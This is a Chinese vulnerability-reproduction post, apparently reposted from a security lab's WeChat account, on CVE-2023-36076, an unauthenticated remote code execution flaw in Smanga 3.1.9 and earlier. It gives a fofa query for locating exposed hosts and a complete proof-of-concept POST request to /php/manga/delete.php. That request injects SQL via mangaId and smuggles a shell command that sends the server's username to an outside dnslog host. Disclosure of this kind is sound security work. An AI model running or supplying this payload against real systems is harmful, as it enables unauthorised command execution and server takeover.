【漏洞复现】Smanga 未授权远程代码执行(CVE-2023-36076)

免责声明：该文章仅用于技术讨论与学习。请勿利用文章所提供的相关技术从事非法测试，若利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关。

漏洞名称

Smanga 未授权远程代码执行(CVE-2023-36076)

漏洞评分

9.8（严重）

CVSS:3.X /AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

漏洞详情

Smanga是lkw199711个人开发者的一个 docker 直装的漫画流媒体阅读工具。smanga 3.1.9及之前版本存在SQL注入漏洞，该漏洞源于允许远程攻击者通php/history/add.php中的mediaId、mangaId和userId参数执行任意代码并获取敏感信息。php/manga/delete.php接口处存在未授权远程代码执行漏洞，攻击者可在目标主机执行任意命令，获取服务器权限

影响产品

Pocketmanga Smanga <= 3.1.9

漏洞复现

1.pofa查询语法："Smanga" && icon_hash="-1668187909"

2. Smanga登录页面：

3. 未授权接口

Poc

POST /php/manga/delete.php HTTP/1.1Host: Content-Type: application/x-www-form-urlencoded; charset=UTF-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Accept: application/json, text/plain, */*Content-Length: 72mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '";ping -c 3 `whoami`.t1a8dr.dnslog.cn.;"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true

payload中触发RCE的是第5个联合查询项，执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包，测试成功收到dnslog记录，且获取回显信息。

DNSlog回显命令结果

修复建议

补丁文件

暂无

其他修复方法

目前官方已有可更新版本，建议受影响用户升级至最新版本

缓解方案

暂无

原文始发于微信公众号（蚁剑安全实验室）：【漏洞复现】Smanga 未授权远程代码执行(CVE-2023-36076)